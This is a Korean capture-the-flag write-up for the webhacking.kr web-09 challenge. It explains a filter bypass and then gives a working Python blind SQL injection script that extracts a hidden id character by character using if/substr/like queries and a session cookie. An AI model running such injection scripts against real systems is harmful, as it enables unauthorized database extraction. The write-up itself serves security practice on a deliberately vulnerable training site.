1,2,3을 선택할 수 있고, 비밀번호를 입력할 수 있다.
1번을 누를 때는 Apple, 2번을 누를 때는 Banana가 나온다.
3번을 누르면 칼럼은 id,no로 구성되어 있고, no=3의 id가 비밀번호라고 적혀있다.
no에 공백 및 여러 문자열(union, select, char 등) 이 필터링 되어있다. 또한 no의 숫자가 3보다 크거나 쿼리가 false일 경우 아무것도 출력되지 않는다.
따라서 Blind SQL Injection을 시도할 수 있다.
id의 길이를 찾는 쿼리는 다음과 같이 작성할 수 있다.
no=if(length(id)like({ID 길이}),3,0)
id의 길이를 확인한 후 id를 찾는 쿼리는 다음과 같다.
no=if(substr(id,{인덱스},1)like({문자의 헥스값}),3,0)
이를 이용하여 파이썬 코드를 다음과 같이 작성할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
cookies = {'PHPSESSID': '44cpq3e3pvl1ie5dhlv1bq3f2b'}
keyword = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
def findIdLength():
for i in range(1,20):
url = f'https://webhacking.kr/challenge/web-09/index.php?no=if(length(id)like({i}),3,99)'
res = requests.get(url=url, cookies=cookies)
if "Secret" in res.text:
print(f'[*] ID Length: {i}')
return i
def findIdFullname(id_len):
id = ''
for i in range(1,id_len+1):
for j in keyword:
url = f'https://webhacking.kr/challenge/web-09/index.php?no=if(substr(id,{i},1)like({hex(ord(j))}),3,99)'
res = requests.get(url=url, cookies=cookies)
if "Secret" in res.text:
id += j
print(f'[*] ID: {id}')
break
if __name__ == '__main__':
id_len = findIdLength()
findIdFullname(id_len)
찾아낸 비밀번호를 입력하면 문제를 풀 수 있다.